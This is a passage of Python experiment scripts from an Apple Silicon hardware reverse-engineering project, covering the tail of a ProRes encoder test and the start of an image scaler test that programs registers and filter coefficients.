in_buf_chroma_phys = u.heap.memalign(0x4000, IN_SZ_CHROMA) iface.writemem(in_buf_chroma_phys, image_data_chroma + b'\xaa' * (IN_SZ_CHROMA - len(image_data_chroma))) in_buf_chroma_iova = dart.iomap(0, in_buf_chroma_phys, IN_SZ_CHROMA) print(f"Input buffer chroma @ phys {in_buf_chroma_phys:016X} iova {in_buf_chroma_iova:016X}") dart.dump_all() desc = EncodeNotRawDescriptor( flags=0x373c, flags2=0, output_iova=out_buf_iova, max_out_sz=OUT_SZ, offset_x=0, offset_y=0, # this is the important set pix_surface_w_2_=im_W, pix_surface_h_2_=im_H, # changing this doesn't seem to break anything pix_surface_w=im_W, pix_surface_h=im_H, # XXX how does the div work exactly? it's different in "tiled" mode luma_stride=divroundup(im_W, 64), chroma_stride=divroundup(im_W*2, 64), alpha_stride=divroundup(im_W, 64), unk_pad_0x26_=b'\x00\x00', luma_iova=in_buf_luma_iova, pix_plane0_tileheader_thing_=0, chroma_iova=in_buf_chroma_iova, pix_plane1_tileheader_thing_=0, alpha_iova=in_buf_luma_iova, pix_plane2_tileheader_thing_=0, # changing this does add extra 0 bytes frame_header_sz=bswp16(0x94), unk_pad_0x5a_=b'\x00', bitstream_version=0, encoder_identifier=0xcafeface, # cannot change arbitrarily, will break pix_surface_w_byteswap_=bswp16(im_W), pix_surface_h_byteswap_=bswp16(im_H), # seemingly can change arbitrarily chroma_format_interlace_mode=0xc0, aspect_ratio_frame_rate=0, color_primaries=2, transfer_characteristic=2, matrix_coefficients=1, alpha_channel_type=1, # tables will still be output even if bits not set here frame_hdr_reserved14=b'\x00\x03', unk_pad_0x6c_=b'\x00' * 128, deprecated_number_of_slices=0, # this one affects the encoding not just the header log2_desired_slice_size_in_mb=0x30, quantization_index=0x2, # this impacts the quality somehow, not quite understood # might be a target bitrate unk_0xf0_=0xffff, unk_0xf2_=0xffff, # none of this stuff is understood, and it never seems to change unk_0xf4_=0x8000402015100c0c, unk_0xfc_=0x2c8080, unk_0x100_0_=0x880080, unk_0x100_1_=0x4e00c5, unk_0x100_2_=0x9000d0, unk_0x100_3_=0x200122, unk_0x110_0_=0x400200, # looks like a quant table, but ??? not used ??? unk_0x110_1_=0x400200, unk_0x110_2_=0x400200, unk_0x110_3_=0x400200, unk_0x110_4_=0x400200, unk_0x110_5_=0x400200, unk_0x110_6_=0x400200, unk_0x110_7_=0x400200, unk_0x110_8_=0x400200, unk_0x110_9_=0x400200, unk_0x110_10_=0x400200, unk_0x110_11_=0x400200, unk_0x110_12_=0x400200, unk_0x110_13_=0x400200, unk_0x110_14_=0x400200, unk_0x110_15_=0x400200, quant_table_sel=0x23, unk_pad_0x154_=b'\x00' * 44, ) desc_bytes = struct.pack(ENCODE_NOT_RAW_STRUCT, *desc) chexdump(desc_bytes) iface.writemem(desc_ring_phys, desc_bytes) # let's go apr.DR_HEAD = len(desc_bytes) start_time = time.time() while apr.IRQ_STATUS.val == 0: if time.time() - start_time > 5: print("TIMED OUT!!!") break print(f"Done, IRQ status is {apr.IRQ_STATUS}") print(f"ST0 = {apr.ST0}") print(f"ST1 = {apr.ST1}") print(f"REG_0x1c = {apr.REG_0x1c}") print(f"REG_0x3c = {apr.REG_0x3c}") print(f"REG_0x44 = {apr.REG_0x44}") print(f"DR_HEAD = {apr.DR_HEAD}") print(f"DR_TAIL = {apr.DR_TAIL}") print(f"unk REG_0x38 = {apr.REG_0x38}") print(f"unk REG_0x40 = {apr.REG_0x40}") print(f"unk REG_0x48 = {apr.REG_0x48}") print(f"unk REG_0x50 = {apr.REG_0x50}") print(f"unk REG_0x54 = {apr.REG_0x54}") apr.IRQ_STATUS = apr.IRQ_STATUS.val dr_memory_new = iface.readmem(desc_ring_phys, DESC_RING_SZ) chexdump(dr_memory_new) out_buf_new = iface.readmem(out_buf_phys, OUT_SZ) with open('prores.bin', 'wb') as f: f.write(out_buf_new) outlen = struct.unpack(">I", out_buf_new[:4])[0] if outlen <= len(out_buf_new): with open('prores.mov', 'wb') as f: f.write(b'\x00\x00\x00\x14\x66\x74\x79\x70\x71\x74\x20\x20\x00\x00\x02\x00\x71\x74\x20\x20\x00\x00\x00\x08\x77\x69\x64\x65') f.write(struct.pack(">I", outlen + 8)) f.write(b'mdat') f.write(out_buf_new[:outlen]) f.write(b'\x00\x00\x03\x1e\x6d\x6f\x6f\x76\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe8\x00\x00\x00\x11\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x02\x89\x74\x72\x61\x6b\x00\x00\x00\x5c\x74\x6b\x68\x64\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x07\x80\x00\x00\x04\x38\x00\x00\x00\x00\x00\x24\x65\x64\x74\x73\x00\x00\x00\x1c\x65\x6c\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x02\x01\x6d\x64\x69\x61\x00\x00\x00\x20\x6d\x64\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x00\x00\x00\x01\x00\x7f\xff\x00\x00\x00\x00\x00\x2d\x68\x64\x6c\x72\x00\x00\x00\x00\x6d\x68\x6c\x72\x76\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x56\x69\x64\x65\x6f\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x01\xac\x6d\x69\x6e\x66\x00\x00\x00\x14\x76\x6d\x68\x64\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2c\x68\x64\x6c\x72\x00\x00\x00\x00\x64\x68\x6c\x72\x75\x72\x6c\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x44\x61\x74\x61\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x00\x24\x64\x69\x6e\x66\x00\x00\x00\x1c\x64\x72\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x75\x72\x6c\x20\x00\x00\x00\x01\x00\x00\x01\x40\x73\x74\x62\x6c\x00\x00\x00\xdc\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xcc\x61\x70\x63\x6e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x46\x46\x4d\x50\x00\x00\x02\x00\x00\x00\x02\x00\x07\x80\x04\x38\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x1f\x4c\x61\x76\x63\x35\x39\x2e\x32\x35\x2e\x31\x30\x30\x20\x70\x72\x6f\x72\x65\x73\x5f\x76\x69\x64\x65\x6f\x74\x6f\x6f\x6c\x62\x00\x18\xff\xff\x00\x00\x00\x6c\x67\x6c\x62\x6c\x00\x00\x00\x64\x61\x70\x63\x6e\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xff\x07\x80\x04\x38\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x10\x41\x70\x70\x6c\x65\x20\x50\x72\x6f\x52\x65\x73\x20\x34\x32\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xff\xff\x00\x00\x00\x0a\x66\x69\x65\x6c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x66\x69\x65\x6c\x01\x00\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x1c\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x14\x73\x74\x73\x7a\x00\x00\x00\x00') f.write(struct.pack(">I", outlen)) f.write(b'\x00\x00\x00\x01\x00\x00\x00\x14\x73\x74\x63\x6f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x24\x00\x00\x00\x21\x75\x64\x74\x61\x00\x00\x00\x19\xa9\x73\x77\x72\x00\x0d\x55\xc4\x4c\x61\x76\x66\x35\x39\x2e\x32\x30\x2e\x31\x30\x31') # ffmpeg -i prores.mov prores-dec%d.png m1n1-1.4.11/proxyclient/experiments/scaler.py000066400000000000000000002013621453754430200211330ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.dart import DART from m1n1.hw.scaler import * from m1n1.utils import * import struct import time from PIL import Image, ImageDraw SCALER_ADT = '/arm-io/scaler0' DART_ADT = '/arm-io/dart-scaler0' p.pmgr_adt_clocks_enable(DART_ADT) p.pmgr_adt_clocks_enable(SCALER_ADT) dart = DART.from_adt(u, DART_ADT) dart.initialize() scaler_base, _ = u.adt[SCALER_ADT].get_reg(0) apiodma_base, _ = u.adt[SCALER_ADT].get_reg(1) dpe_ctrl_base, _ = u.adt[SCALER_ADT].get_reg(2) scaler = ScalerMainRegs(u, scaler_base) def dpe_start(): p.write32(dpe_ctrl_base + 0x400, 0x1) p.write32(dpe_ctrl_base + 0x404, 0x1) p.write32(dpe_ctrl_base + 0x438, 0xf) p.write32(dpe_ctrl_base + 0x43c, 0x5) p.write32(dpe_ctrl_base + 0x408, 0x1) p.write32(dpe_ctrl_base + 0x440, 0x5) p.write32(dpe_ctrl_base + 0x444, 0x4) p.write32(dpe_ctrl_base + 0x40c, 0x1) p.write32(dpe_ctrl_base + 0x448, 0x5) p.write32(dpe_ctrl_base + 0x44c, 0x5) p.write32(dpe_ctrl_base + 0x410, 0x1) p.write32(dpe_ctrl_base + 0x450, 0x7) p.write32(dpe_ctrl_base + 0x454, 0x7) p.write32(dpe_ctrl_base + 0x414, 0x1) p.write32(dpe_ctrl_base + 0x458, 0xd) p.write32(dpe_ctrl_base + 0x45c, 0xc) p.write32(dpe_ctrl_base + 0x418, 0x1) p.write32(dpe_ctrl_base + 0x460, 0x13) p.write32(dpe_ctrl_base + 0x464, 0x12) p.write32(dpe_ctrl_base + 0x41c, 0x1) p.write32(dpe_ctrl_base + 0x468, 0x9) p.write32(dpe_ctrl_base + 0x46c, 0xa) p.write32(dpe_ctrl_base + 0x420, 0x1) p.write32(dpe_ctrl_base + 0x470, 0x33) p.write32(dpe_ctrl_base + 0x474, 0x2c) p.write32(dpe_ctrl_base + 0x424, 0x1) p.write32(dpe_ctrl_base + 0x478, 0x15) p.write32(dpe_ctrl_base + 0x47c, 0x15) p.write32(dpe_ctrl_base + 0x428, 0x1) p.write32(dpe_ctrl_base + 0x480, 0xe) p.write32(dpe_ctrl_base + 0x484, 0x5) p.write32(dpe_ctrl_base + 0x42c, 0x1) p.write32(dpe_ctrl_base + 0x488, 0x27) p.write32(dpe_ctrl_base + 0x48c, 0x15) p.write32(dpe_ctrl_base + 0x430, 0x1) p.write32(dpe_ctrl_base + 0x490, 0x15) p.write32(dpe_ctrl_base + 0x494, 0xe) p.write32(dpe_ctrl_base + 0x434, 0x1) p.write32(dpe_ctrl_base + 0x498, 0x0) p.write32(dpe_ctrl_base + 0x49c, 0x0) p.write32(dpe_ctrl_base + 0x4, 0x1000) p.write32(dpe_ctrl_base + 0x0, 0x101) def dpe_stop(): p.write32(dpe_ctrl_base + 0x0, 0x103) while p.read32(dpe_ctrl_base + 0x0) & 0xC != 4: ... p.write32(dpe_ctrl_base + 0x0, p.read32(dpe_ctrl_base + 0x0) & 0xfffffffc) print(f"Hardware version {scaler.HW_VERSION.val:08X}") scaler.RESET = 1 scaler.RESET = 0 print(f"Hardware version after reset {scaler.HW_VERSION.val:08X}") if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} input.png output.png") sys.exit(-1) input_image_fn = sys.argv[1] output_image_fn = sys.argv[2] in_data = b'' with Image.open(input_image_fn) as im: in_W, in_H = im.size in_BYTESPP = 4 in_STRIDE = in_W * in_BYTESPP in_SZ = in_W * in_H * in_BYTESPP for y in range(in_H): for x in range(in_W): r, g, b = im.getpixel((x, y)) in_data += struct.pack("BBBB", r, g, b, 255) out_W = in_W * 5 out_H = in_H * 3 out_BYTESPP = 4 out_STRIDE = out_W * out_BYTESPP out_SZ = out_W * out_H * out_BYTESPP * 2 # HACK: double size for testing purposes for i in range(in_W * in_H): in_data += struct.pack("> 32 scaler.DST_PLANE2_LO = 0 scaler.DST_PLANE2_HI = 0 # src base addresses scaler.SRC_PLANE1_LO = 0 scaler.SRC_PLANE1_HI = 0 scaler.SRC_PLANE0_LO = in_buf_iova & 0xFFFFFFFF scaler.SRC_PLANE0_HI = in_buf_iova >> 32 scaler.SRC_PLANE2_LO = 0 scaler.SRC_PLANE2_HI = 0 # dest stride scaler.DST_PLANE1_STRIDE = 0 scaler.DST_PLANE0_STRIDE = out_STRIDE scaler.DST_PLANE2_STRIDE = 0 # src stride scaler.SRC_PLANE1_STRIDE = 0 scaler.SRC_PLANE0_STRIDE = in_STRIDE scaler.SRC_PLANE2_STRIDE = 0 # dest offset scaler.DST_PLANE1_OFFSET = 0 scaler.DST_PLANE0_OFFSET = 0 scaler.DST_PLANE2_OFFSET = 0 # src offset scaler.SRC_PLANE1_OFFSET = 0 scaler.SRC_PLANE0_OFFSET = 0 scaler.SRC_PLANE2_OFFSET = 0 # dest sizes scaler.DST_W = out_W scaler.DST_H = out_H scaler.DST_SIZE_THING3 = 0 scaler.DST_SIZE_THING6 = 0 scaler.DST_SIZE_THING2 = 0 scaler.DST_SIZE_THING5 = 0 scaler.DST_SIZE_THING4 = 0 scaler.DST_SIZE_THING7 = 0 # src sizes scaler.SRC_W = in_W scaler.SRC_H = in_H scaler.SRC_SIZE_THING3 = 0 scaler.SRC_SIZE_THING6 = 0 scaler.SRC_SIZE_THING2 = 0 scaler.SRC_SIZE_THING5 = 0 scaler.SRC_SIZE_THING4 = 0 scaler.SRC_SIZE_THING7 = 0 # swizzling scaler.SRC_SWIZZLE = 0x03020100 scaler.DST_SWIZZLE = 0x03020100 # WDMA control p.write32(scaler_base + 0x280, 0x1) p.write32(scaler_base + 0x284, 0x81e) p.write32(scaler_base + 0x288, 0x800) p.write32(scaler_base + 0x28c, 0x800) # pixel averaging scaler.PIXEL_AVERAGING = 0 # ASE enhancement p.write32(scaler_base + 0x16800, 0x0) # ASE 3x1 transform p.write32(scaler_base + 0x16080, 0x0) p.write32(scaler_base + 0x16084, 0xb710367) p.write32(scaler_base + 0x16088, 0x128) # ASE interpolation p.write32(scaler_base + 0x16600, 0x15) # ASE angle detect p.write32(scaler_base + 0x16504, 0x2000500) p.write32(scaler_base + 0x16508, 0x3200) p.write32(scaler_base + 0x16534, 0x8) p.write32(scaler_base + 0x1651c, 0x851400) p.write32(scaler_base + 0x16568, 0x250500) p.write32(scaler_base + 0x16588, 0x496513) # ASE config p.write32(scaler_base + 0x16000, 0x0) # chroma upsampling p.write32(scaler_base + 0x800, 0xc) # chroma downsampling p.write32(scaler_base + 0x900, 0x0) # DDA init V??? scaler.SCALE_H_DDA_THING0 = 0 scaler.SCALE_H_DDA_THING2 = 0 scaler.SCALE_V_DDA_THING1 = 0 # vertical scaling scaler.SCALE_V_RATIO_0 = int(in_H / out_H * 0x400000) scaler.SCALE_V_RATIO_4 = 0 # XXX what does this do? scaler.SCALE_V_RATIO_1 = 0 # XXX what does this do? scaler.SCALE_V_RATIO_2 = 0 # XXX what does this set do? scaler.SCALE_V_RATIO_3 = 0 # XXX what does this set do? scaler.SCALE_V_RATIO_5 = 0 # XXX what does this set do? scaler.SCALE_V_FLAGS.set(EN=1) # XXX this is a random filter grabbed from a random trace scaler.SCALE_FILTER_V_BLOCK0[0].val = 0x0 scaler.SCALE_FILTER_V_BLOCK0[1].val = 0x50005 scaler.SCALE_FILTER_V_BLOCK1[0].val = 0x50000 scaler.SCALE_FILTER_V_BLOCK0[2].val = 0xb000b scaler.SCALE_FILTER_V_BLOCK0[3].val = 0x100010 scaler.SCALE_FILTER_V_BLOCK1[1].val = 0x10000b scaler.SCALE_FILTER_V_BLOCK0[4].val = 0x140014 scaler.SCALE_FILTER_V_BLOCK0[5].val = 0x180018 scaler.SCALE_FILTER_V_BLOCK1[2].val = 0x180014 scaler.SCALE_FILTER_V_BLOCK0[6].val = 0x1c001c scaler.SCALE_FILTER_V_BLOCK0[7].val = 0x200020 scaler.SCALE_FILTER_V_BLOCK1[3].val = 0x20001c scaler.SCALE_FILTER_V_BLOCK0[8].val = 0x230023 scaler.SCALE_FILTER_V_BLOCK0[9].val = 0x260026 scaler.SCALE_FILTER_V_BLOCK1[4].val = 0x260023 scaler.SCALE_FILTER_V_BLOCK0[10].val = 0x290029 scaler.SCALE_FILTER_V_BLOCK0[11].val = 0x2c002c scaler.SCALE_FILTER_V_BLOCK1[5].val = 0x2c0029 scaler.SCALE_FILTER_V_BLOCK0[12].val = 0x2e002e scaler.SCALE_FILTER_V_BLOCK0[13].val = 0x300030 scaler.SCALE_FILTER_V_BLOCK1[6].val = 0x30002e scaler.SCALE_FILTER_V_BLOCK0[14].val = 0x320032 scaler.SCALE_FILTER_V_BLOCK0[15].val = 0x330033 scaler.SCALE_FILTER_V_BLOCK1[7].val = 0x330032 scaler.SCALE_FILTER_V_BLOCK0[16].val = 0xff87ff87 scaler.SCALE_FILTER_V_BLOCK0[17].val = 0xff90ff90 scaler.SCALE_FILTER_V_BLOCK1[8].val = 0xff90ff87 scaler.SCALE_FILTER_V_BLOCK0[18].val = 0xff99ff99 scaler.SCALE_FILTER_V_BLOCK0[19].val = 0xffa1ffa1 scaler.SCALE_FILTER_V_BLOCK1[9].val = 0xffa1ff99 scaler.SCALE_FILTER_V_BLOCK0[20].val = 0xffaaffaa scaler.SCALE_FILTER_V_BLOCK0[21].val = 0xffb2ffb2 scaler.SCALE_FILTER_V_BLOCK1[10].val = 0xffb2ffaa scaler.SCALE_FILTER_V_BLOCK0[22].val = 0xffbaffba scaler.SCALE_FILTER_V_BLOCK0[23].val = 0xffc2ffc2 scaler.SCALE_FILTER_V_BLOCK1[11].val = 0xffc2ffba scaler.SCALE_FILTER_V_BLOCK0[24].val = 0xffcaffca scaler.SCALE_FILTER_V_BLOCK0[25].val = 0xffd2ffd2 scaler.SCALE_FILTER_V_BLOCK1[12].val = 0xffd2ffca scaler.SCALE_FILTER_V_BLOCK0[26].val = 0xffd9ffd9 scaler.SCALE_FILTER_V_BLOCK0[27].val = 0xffe0ffe0 scaler.SCALE_FILTER_V_BLOCK1[13].val = 0xffe0ffd9 scaler.SCALE_FILTER_V_BLOCK0[28].val = 0xffe7ffe7 scaler.SCALE_FILTER_V_BLOCK0[29].val = 0xffeeffee scaler.SCALE_FILTER_V_BLOCK1[14].val = 0xffeeffe7 scaler.SCALE_FILTER_V_BLOCK0[30].val = 0xfff4fff4 scaler.SCALE_FILTER_V_BLOCK0[31].val = 0xfffafffa scaler.SCALE_FILTER_V_BLOCK1[15].val = 0xfffafff4 scaler.SCALE_FILTER_V_BLOCK0[32].val = 0xff06ff06 scaler.SCALE_FILTER_V_BLOCK0[33].val = 0xff0cff0c scaler.SCALE_FILTER_V_BLOCK1[16].val = 0xff0cff06 scaler.SCALE_FILTER_V_BLOCK0[34].val = 0xff13ff13 scaler.SCALE_FILTER_V_BLOCK0[35].val = 0xff1aff1a scaler.SCALE_FILTER_V_BLOCK1[17].val = 0xff1aff13 scaler.SCALE_FILTER_V_BLOCK0[36].val = 0xff21ff21 scaler.SCALE_FILTER_V_BLOCK0[37].val = 0xff28ff28 scaler.SCALE_FILTER_V_BLOCK1[18].val = 0xff28ff21 scaler.SCALE_FILTER_V_BLOCK0[38].val = 0xff30ff30 scaler.SCALE_FILTER_V_BLOCK0[39].val = 0xff38ff38 scaler.SCALE_FILTER_V_BLOCK1[19].val = 0xff38ff30 scaler.SCALE_FILTER_V_BLOCK0[40].val = 0xff41ff41 scaler.SCALE_FILTER_V_BLOCK0[41].val = 0xff49ff49 scaler.SCALE_FILTER_V_BLOCK1[20].val = 0xff49ff41 scaler.SCALE_FILTER_V_BLOCK0[42].val = 0xff52ff52 scaler.SCALE_FILTER_V_BLOCK0[43].val = 0xff5bff5b scaler.SCALE_FILTER_V_BLOCK1[21].val = 0xff5bff52 scaler.SCALE_FILTER_V_BLOCK0[44].val = 0xff63ff63 scaler.SCALE_FILTER_V_BLOCK0[45].val = 0xff6cff6c scaler.SCALE_FILTER_V_BLOCK1[22].val = 0xff6cff63 scaler.SCALE_FILTER_V_BLOCK0[46].val = 0xff75ff75 scaler.SCALE_FILTER_V_BLOCK0[47].val = 0xff7eff7e scaler.SCALE_FILTER_V_BLOCK1[23].val = 0xff7eff75 scaler.SCALE_FILTER_V_BLOCK0[48].val = 0xff02ff02 scaler.SCALE_FILTER_V_BLOCK0[49].val = 0xfefcfefc scaler.SCALE_FILTER_V_BLOCK1[24].val = 0xfefcff02 scaler.SCALE_FILTER_V_BLOCK0[50].val = 0xfef7fef7 scaler.SCALE_FILTER_V_BLOCK0[51].val = 0xfef3fef3 scaler.SCALE_FILTER_V_BLOCK1[25].val = 0xfef3fef7 scaler.SCALE_FILTER_V_BLOCK0[52].val = 0xfeeffeef scaler.SCALE_FILTER_V_BLOCK0[53].val = 0xfeedfeed scaler.SCALE_FILTER_V_BLOCK1[26].val = 0xfeedfeef scaler.SCALE_FILTER_V_BLOCK0[54].val = 0xfeecfeec scaler.SCALE_FILTER_V_BLOCK0[55].val = 0xfeebfeeb scaler.SCALE_FILTER_V_BLOCK1[27].val = 0xfeebfeec scaler.SCALE_FILTER_V_BLOCK0[56].val = 0xfeebfeeb scaler.SCALE_FILTER_V_BLOCK0[57].val = 0xfeecfeec scaler.SCALE_FILTER_V_BLOCK1[28].val = 0xfeecfeeb scaler.SCALE_FILTER_V_BLOCK0[58].val = 0xfeeefeee scaler.SCALE_FILTER_V_BLOCK0[59].val = 0xfef1fef1 scaler.SCALE_FILTER_V_BLOCK1[29].val = 0xfef1feee scaler.SCALE_FILTER_V_BLOCK0[60].val = 0xfef4fef4 scaler.SCALE_FILTER_V_BLOCK0[61].val = 0xfef8fef8 scaler.SCALE_FILTER_V_BLOCK1[30].val = 0xfef8fef4 scaler.SCALE_FILTER_V_BLOCK0[62].val = 0xfefcfefc scaler.SCALE_FILTER_V_BLOCK0[63].val = 0xff01ff01 scaler.SCALE_FILTER_V_BLOCK1[31].val = 0xff01fefc scaler.SCALE_FILTER_V_BLOCK0[64].val = 0x0 scaler.SCALE_FILTER_V_BLOCK0[65].val = 0xffe7ffe7 scaler.SCALE_FILTER_V_BLOCK1[32].val = 0xffe70000 scaler.SCALE_FILTER_V_BLOCK0[66].val = 0xffcfffcf scaler.SCALE_FILTER_V_BLOCK0[67].val = 0xffb9ffb9 scaler.SCALE_FILTER_V_BLOCK1[33].val = 0xffb9ffcf scaler.SCALE_FILTER_V_BLOCK0[68].val = 0xffa4ffa4 scaler.SCALE_FILTER_V_BLOCK0[69].val = 0xff90ff90 scaler.SCALE_FILTER_V_BLOCK1[34].val = 0xff90ffa4 scaler.SCALE_FILTER_V_BLOCK0[70].val = 0xff7dff7d scaler.SCALE_FILTER_V_BLOCK0[71].val = 0xff6bff6b scaler.SCALE_FILTER_V_BLOCK1[35].val = 0xff6bff7d scaler.SCALE_FILTER_V_BLOCK0[72].val = 0xff5bff5b scaler.SCALE_FILTER_V_BLOCK0[73].val = 0xff4cff4c scaler.SCALE_FILTER_V_BLOCK1[36].val = 0xff4cff5b scaler.SCALE_FILTER_V_BLOCK0[74].val = 0xff3eff3e scaler.SCALE_FILTER_V_BLOCK0[75].val = 0xff31ff31 scaler.SCALE_FILTER_V_BLOCK1[37].val = 0xff31ff3e scaler.SCALE_FILTER_V_BLOCK0[76].val = 0xff26ff26 scaler.SCALE_FILTER_V_BLOCK0[77].val = 0xff1bff1b scaler.SCALE_FILTER_V_BLOCK1[38].val = 0xff1bff26 scaler.SCALE_FILTER_V_BLOCK0[78].val = 0xff12ff12 scaler.SCALE_FILTER_V_BLOCK0[79].val = 0xff0aff0a scaler.SCALE_FILTER_V_BLOCK1[39].val = 0xff0aff12 scaler.SCALE_FILTER_V_BLOCK0[80].val = 0x2210221 scaler.SCALE_FILTER_V_BLOCK0[81].val = 0x1f901f9 scaler.SCALE_FILTER_V_BLOCK1[40].val = 0x1f90221 scaler.SCALE_FILTER_V_BLOCK0[82].val = 0x1d001d0 scaler.SCALE_FILTER_V_BLOCK0[83].val = 0x1a901a9 scaler.SCALE_FILTER_V_BLOCK1[41].val = 0x1a901d0 scaler.SCALE_FILTER_V_BLOCK0[84].val = 0x1820182 scaler.SCALE_FILTER_V_BLOCK0[85].val = 0x15d015d scaler.SCALE_FILTER_V_BLOCK1[42].val = 0x15d0182 scaler.SCALE_FILTER_V_BLOCK0[86].val = 0x1380138 scaler.SCALE_FILTER_V_BLOCK0[87].val = 0x1140114 scaler.SCALE_FILTER_V_BLOCK1[43].val = 0x1140138 scaler.SCALE_FILTER_V_BLOCK0[88].val = 0xf100f1 scaler.SCALE_FILTER_V_BLOCK0[89].val = 0xcf00cf scaler.SCALE_FILTER_V_BLOCK1[44].val = 0xcf00f1 scaler.SCALE_FILTER_V_BLOCK0[90].val = 0xae00ae scaler.SCALE_FILTER_V_BLOCK0[91].val = 0x8e008e scaler.SCALE_FILTER_V_BLOCK1[45].val = 0x8e00ae scaler.SCALE_FILTER_V_BLOCK0[92].val = 0x6f006f scaler.SCALE_FILTER_V_BLOCK0[93].val = 0x520052 scaler.SCALE_FILTER_V_BLOCK1[46].val = 0x52006f scaler.SCALE_FILTER_V_BLOCK0[94].val = 0x350035 scaler.SCALE_FILTER_V_BLOCK0[95].val = 0x1a001a scaler.SCALE_FILTER_V_BLOCK1[47].val = 0x1a0035 scaler.SCALE_FILTER_V_BLOCK0[96].val = 0x4e404e4 scaler.SCALE_FILTER_V_BLOCK0[97].val = 0x4b804b8 scaler.SCALE_FILTER_V_BLOCK1[48].val = 0x4b804e4 scaler.SCALE_FILTER_V_BLOCK0[98].val = 0x48b048b scaler.SCALE_FILTER_V_BLOCK0[99].val = 0x45f045f scaler.SCALE_FILTER_V_BLOCK1[49].val = 0x45f048b scaler.SCALE_FILTER_V_BLOCK0[100].val = 0x4320432 scaler.SCALE_FILTER_V_BLOCK0[101].val = 0x4050405 scaler.SCALE_FILTER_V_BLOCK1[50].val = 0x4050432 scaler.SCALE_FILTER_V_BLOCK0[102].val = 0x3d803d8 scaler.SCALE_FILTER_V_BLOCK0[103].val = 0x3ab03ab scaler.SCALE_FILTER_V_BLOCK1[51].val = 0x3ab03d8 scaler.SCALE_FILTER_V_BLOCK0[104].val = 0x37e037e scaler.SCALE_FILTER_V_BLOCK0[105].val = 0x3510351 scaler.SCALE_FILTER_V_BLOCK1[52].val = 0x351037e scaler.SCALE_FILTER_V_BLOCK0[106].val = 0x3240324 scaler.SCALE_FILTER_V_BLOCK0[107].val = 0x2f802f8 scaler.SCALE_FILTER_V_BLOCK1[53].val = 0x2f80324 scaler.SCALE_FILTER_V_BLOCK0[108].val = 0x2cc02cc scaler.SCALE_FILTER_V_BLOCK0[109].val = 0x2a102a1 scaler.SCALE_FILTER_V_BLOCK1[54].val = 0x2a102cc scaler.SCALE_FILTER_V_BLOCK0[110].val = 0x2760276 scaler.SCALE_FILTER_V_BLOCK0[111].val = 0x24b024b scaler.SCALE_FILTER_V_BLOCK1[55].val = 0x24b0276 scaler.SCALE_FILTER_V_BLOCK0[112].val = 0x73b073b scaler.SCALE_FILTER_V_BLOCK0[113].val = 0x71e071e scaler.SCALE_FILTER_V_BLOCK1[56].val = 0x71e073b scaler.SCALE_FILTER_V_BLOCK0[114].val = 0x7000700 scaler.SCALE_FILTER_V_BLOCK0[115].val = 0x6e106e1 scaler.SCALE_FILTER_V_BLOCK1[57].val = 0x6e10700 scaler.SCALE_FILTER_V_BLOCK0[116].val = 0x6c006c0 scaler.SCALE_FILTER_V_BLOCK0[117].val = 0x69e069e scaler.SCALE_FILTER_V_BLOCK1[58].val = 0x69e06c0 scaler.SCALE_FILTER_V_BLOCK0[118].val = 0x67a067a scaler.SCALE_FILTER_V_BLOCK0[119].val = 0x6560656 scaler.SCALE_FILTER_V_BLOCK1[59].val = 0x656067a scaler.SCALE_FILTER_V_BLOCK0[120].val = 0x6300630 scaler.SCALE_FILTER_V_BLOCK0[121].val = 0x6090609 scaler.SCALE_FILTER_V_BLOCK1[60].val = 0x6090630 scaler.SCALE_FILTER_V_BLOCK0[122].val = 0x5e205e2 scaler.SCALE_FILTER_V_BLOCK0[123].val = 0x5b905b9 scaler.SCALE_FILTER_V_BLOCK1[61].val = 0x5b905e2 